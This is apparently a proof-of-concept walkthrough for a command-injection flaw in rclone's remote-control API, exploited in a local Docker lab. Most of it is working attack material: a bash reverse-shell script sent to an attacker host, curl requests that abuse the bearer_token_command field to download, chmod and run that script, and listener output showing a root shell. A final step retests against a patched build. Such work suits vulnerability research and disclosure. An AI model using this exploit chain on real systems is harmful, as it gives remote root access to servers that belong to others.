# Step 1
$ docker build -t rclone-vuln -f Dockerfile.rclone /tmp

# Step 2
$ docker run -d --name rclone-vuln -p 5572:5572 rclone-vuln 

# Step 3
$ penelope -p 5555 # OR nc -lvnp 5555

# Step 4: Make sure the poc.sh has your ip and port
$ cat poc.sh                                                                                        
#!/bin/bash
bash -i >& /dev/tcp/<attacker-ip>/<listening-port> 0>&1

# Step 5: Host it on a http server. Make sure you launch it from the same location as poc.sh.
$ python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...

# Step 6: Send command to download it to the target:
$ curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo --data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/usr/bin/curl -o /tmp/shell.sh http://<attacker-ip>:<http-listening-port>/poc.sh':"

# Step 7: Send command to make it executable:
$ curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo --data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/bin/chmod +x /tmp/shell.sh':"

# Step 8: Send command to execute the script:
$ curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo --data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/tmp/shell.sh':"

# Step 9: Check your listener for a connection:
$ penelope -p 5555
[+] Listening for reverse shells on 0.0.0.0:5555 →  127.0.0.1 • 10.0.2.15 • 172.17.0.1
➤  🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from f7697b831050~172.17.0.3-Linux-x86_64 😍️ Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[!] Python agent cannot be deployed. I need to maintain at least one Raw session to handle the PTY
[+] Attempting to spawn a reverse shell on 172.17.0.1:5555
[+] Got reverse shell from f7697b831050~172.17.0.3-Linux-x86_64 😍️ Assigned SessionID <2>
[+] Shell upgraded successfully using /usr/bin/script! 💪
[+] Interacting with session [1] • Shell Type PTY • Menu key F12 ⇐
[+] Logging to /home/kali/.penelope/sessions/f7697b831050~172.17.0.3-Linux-x86_64/2026_06_28-14_43_55-910.log 📜
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
whoami
root

# Step 10: Redo steps 1-6 using patched.Dockerfile.rclone